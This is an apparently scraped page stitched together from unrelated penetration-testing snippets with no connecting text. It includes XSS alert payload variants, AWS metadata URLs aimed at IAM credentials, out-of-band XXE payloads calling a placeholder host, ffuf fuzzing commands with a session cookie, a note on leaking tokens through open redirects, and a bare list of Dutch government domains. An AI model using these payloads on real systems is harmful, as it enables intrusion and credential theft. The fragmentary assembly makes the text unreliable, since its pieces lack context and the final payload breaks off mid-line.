XML processing modules may be not secure against maliciously constructed data. An attacker could abuse XML features to carry out denial of service attacks, access logical files, generate network connections to other machines, or circumvent firewalls.
The penetration tester running XML tests against application will have to determine which XML parser is in use, and then to what kinds of below listed attacks that parser will be vulnerable.
| // How many ways can you alert(document.domain)? | |
| // Comment with more ways and I'll add them :) | |
| // I already know about the JSFuck way, but it's too long to add (: | |
| // Direct invocation | |
| alert(document.domain); | |
| (alert)(document.domain); | |
| al\u0065rt(document.domain); | |
| al\u{65}rt(document.domain); | |
| window['alert'](document.domain); |
(Preferably) Use a VPN
Install a proxy tool of choise
| ## AWS | |
| # from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories | |
| http://169.254.169.254/latest/user-data | |
| http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME] | |
| http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME] | |
| http://169.254.169.254/latest/meta-data/ami-id | |
| http://169.254.169.254/latest/meta-data/reservation-id | |
| http://169.254.169.254/latest/meta-data/hostname | |
| http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key |
| knmi.nl | |
| rijksoverheid.nl | |
| overheid.nl | |
| duo.nl | |
| politie.nl | |
| koninklijkhuis.nl | |
| defensie.nl | |
| kadaster.nl | |
| werkenbijdefensie.nl | |
| cbs.nl |
An open redirect was almost everything I needed in two different bug bounty programs to get access to user accounts. In one of the cases a JWT was leaked, and in the other the CSRF token was leaked. The issue was mostly the same in both cases: not validating, or URI encoding, user input in the client-side, and sending sensitive information to my server using an open redirect.
x-csrf-token set to the CSRF token for the session of the user
GET /verify/VALUE HTTP/1.1
Host: example.com
| Filter | Description | Example |
|---|---|---|
| allintext | Searches for occurrences of all the keywords given. | allintext:"keyword" |
| intext | Searches for the occurrences of keywords all at once or one at a time. | intext:"keyword" |
| inurl | Searches for a URL matching one of the keywords. | inurl:"keyword" |
| allinurl | Searches for a URL matching all the keywords in the query. | allinurl:"keyword" |
| intitle | Searches for occurrences of keywords in title all or one. | intitle:"keyword" |
| <?php | |
| //php gd-gif.php image.gif gd-image.gif | |
| $gif = imagecreatefromgif($argv[1]); | |
| imagegif($gif, $argv[2]); | |
| imagedestroy($gif); | |
| ?> |
| # Basic Usage | |
| ffuf -w wordlist.txt -u http://127.0.0.1:8000/api/FUZZ/6 -o output.txt -replay-proxy http://127.0.0.1:8080 | |
| # Basic Usage With a Cookie | |
| ffuf -w wordlist.txt -u http://127.0.0.1:8000/api/FUZZ/6 -o output.txt -replay-proxy http://127.0.0.1:8080 -b "laravel_session=eyJpdiI6Ii8wQU11dTVlUkg2alRHUXBIVzlGSnc9PSIsInZhbHVlIjoiOWs3YllJWTdqNC9xa1pMeFRvMFh0OE1vRFpaWm9GSzFkRktVZS9yUHBDM0lIazZ4K0NsbndxWVIxQ05VZWhqZUZaR0RGQWlFdmdDc24yWllYRklGSXI5STd2b05Pam4yRXIwV1BUWkZhUnFLNUFzOWsycmRHcnlxS0FqRWNsSnEiLCJtYWMiOiI3ZTliMmM2YzIxOTExNDE0NmVjYTYyMGI4Nzg4YzJiYjNmNjVkNDI1YzEyODYwMzY5YzczNzY3NTUwZDk0OGYzIn0%3D;" | |
| # Adding a delay | |
| ffuf -w wordlist.txt -u http://127.0.0.1:8000/api/FUZZ/6 -o output.txt -replay-proxy http://127.0.0.1:8080 –p 1 –t 3 | |
| # Adding a delay (new method) |
| <?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x /> | |
| <?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x /> | |
| <?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x> | |
| <?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x> | |
| <?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/> | |
| <?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/> | |
| <?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.y |